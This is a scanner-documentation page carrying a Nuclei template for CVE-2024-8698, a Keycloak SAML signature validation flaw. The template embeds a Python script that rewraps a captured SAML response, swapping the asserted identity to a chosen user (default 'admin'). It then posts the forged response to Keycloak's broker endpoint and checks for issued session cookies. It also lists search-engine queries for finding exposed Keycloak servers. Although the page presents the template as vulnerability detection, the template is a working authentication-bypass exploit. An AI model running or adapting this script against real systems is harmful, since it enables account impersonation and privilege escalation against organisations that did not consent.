Keycloak - SAML Core Package Signature Validation Flaw
ID: CVE-2024-8698
Severity: high
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2024,keycloak,saml,signature
Description
Section titled “Description”A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.
YAML Source
Section titled “YAML Source”id: CVE-2024-8698
info: name: Keycloak - SAML Core Package Signature Validation Flaw author: iamnoooob,rootxharsh,pdresearch severity: high description: | A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-8698 - https://access.redhat.com/errata/RHSA-2024:6878 - https://access.redhat.com/errata/RHSA-2024:6879 - https://access.redhat.com/errata/RHSA-2024:6880 - https://access.redhat.com/errata/RHSA-2024:6882 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L cvss-score: 7.7 cve-id: CVE-2024-8698 cwe-id: CWE-347 epss-score: 0.00125 epss-percentile: 0.47937 metadata: verified: true max-request: 1 vendor: redhat product: keycloak shodan-query: http.favicon.hash:"-1105083093" fofa-query: icon_hash=-1105083093 google-query: intitle:"keycloak" tags: cve,cve2024,keycloak,saml,signature
variables: AUTH_SESSION_ID_LEGACY: "{{auth_cookie}}" # Cookie of the valid SAMLResponse message RELAYSTATE: "{{relayState}}" # Relaystate linked to the Cookie
code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | import os import base64 import urllib.parse from lxml import etree
# Get environment variables username = b'[email protected]' saml_response = os.getenv('SAMLResponse') username = os.getenv('username') if not username: username='admin' # Decode and parse the SAML response xml_content = base64.b64decode(urllib.parse.unquote(saml_response)) parser = etree.XMLParser(remove_blank_text=True) root = etree.fromstring(xml_content, parser)
# Define namespaces namespaces = { 'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol', 'saml': 'urn:oasis:names:tc:SAML:2.0:assertion', 'ds': 'http://www.w3.org/2000/09/xmldsig#' }
# Find the <ds:Signature> element inside the root response_signature = root.find('.//ds:Signature', namespaces) if response_signature is not None: root.remove(response_signature) # Remove the <ds:Signature> element from the root
# Find the <saml:Assertion> element (this is the old assertion) old_ass = root.find('.//saml:Assertion', namespaces) ass_signode = old_ass.find('./ds:Signature',namespaces) if ass_signode is not None: old_ass.remove(ass_signode) issuer = root.find('.//saml:Issuer', namespaces) issuer.addnext(ass_signode) mod_ass = etree.fromstring(etree.tostring(old_ass)) mod_ass.find('.//saml:NameID',namespaces).text = username for s in mod_ass.findall('.//saml:AttributeValue',namespaces): s.text = username mod_ass.attrib['ID'] = mod_ass.attrib['ID'][:-1] resp_issuer = root.find('.//samlp:Status', namespaces) resp_issuer.addnext(mod_ass)
modified_saml_response = etree.tostring(root, pretty_print=False, encoding='UTF-8', xml_declaration=False).decode('utf-8') print(modified_saml_response)
http: - raw: - | POST /realms/master/broker/saml/endpoint HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Cookie: AUTH_SESSION_ID_LEGACY={{AUTH_SESSION_ID_LEGACY}}
RelayState={{RELAYSTATE}}&SAMLResponse={{urlencode(base64(code_response))}}
matchers: - type: dsl dsl: - 'status_code == 302' - 'contains_all(header,"KEYCLOAK_IDENTITY","KEYCLOAK_SESSION")' condition: and# digest: 4a0a00473045022100cfb10aebd139efec88629171945193667b4d72306934797c4dc37493254b532c0220479fd3bc7efa16198d09ad3edb24b1ece2b13b379c9f3a02aea9b1808649618b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-8698.yaml"